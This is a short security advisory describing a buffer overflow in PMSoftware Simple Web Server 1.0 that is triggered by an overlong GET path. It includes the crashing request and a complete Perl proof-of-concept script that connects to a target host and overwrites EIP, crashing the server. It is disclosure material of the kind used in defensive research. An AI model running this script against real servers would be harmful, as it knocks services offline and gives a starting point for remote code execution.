      PMSoftware Simple Web Server Buffer Overflow
    ------------------------------------------------------------------------

    SUMMARY

    " <http://www.pmx.it/> Simple Web Server the easy and small way to open an
    HTTP Web Server"

    PMSoftware's Simple Web Server doesn't do proper bounds checking handling
    of normal GET requests. Sending an overlong page or script name, it causes
    an buffer overflow and an attacker can run arbitrary code on the victims
    machine.

    DETAILS

    Vulnerable Systems:
     * Simple Web Server version 1.0

    The following request causes Simple Web Server to crash:
    GET /AAAAAA.....AAAA with 260 A's

    Exploit:
    #!/usr/bin/perl
    # DoS Exploit By mthumann@ernw.de
    # Tested against WinXP + SP2
    # Remote Buffer Overflow in PMSoftware Simple Web Server 1.0.15
    # buffer[250]

    use Socket;

    print "PMSoftware Simple Web Server Exploit by Michael Thumann \n\n";

    if (not $ARGV[0]) {
            print "Usage: swsexploit.pl <host>\n";
    exit;}

    $ip=$ARGV[0];

    print "Sending Shellcode to: " . $ip . "\n\n";
    my $testcode= "ERNWAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
    "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB".
    "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC".
    "DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD".
    "EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE".
    "FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF".
    "ABCDEFGHIJAAAA"; #EIP =41414141

    my $attack="GET /".$testcode." HTTP/1.1\n" ;

    $target= inet_aton($ip) || die("inet_aton problems");
            socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
                    die("Socket problems\n");
            if(connect(S,pack "SnA4x8",2,80,$target)){
                    select(S);
                    $|=1;
                    print $attack;
                    my @in=<S>;
                    select(STDOUT);
                    close(S);
            } else { die("Can't connect...\n"); }
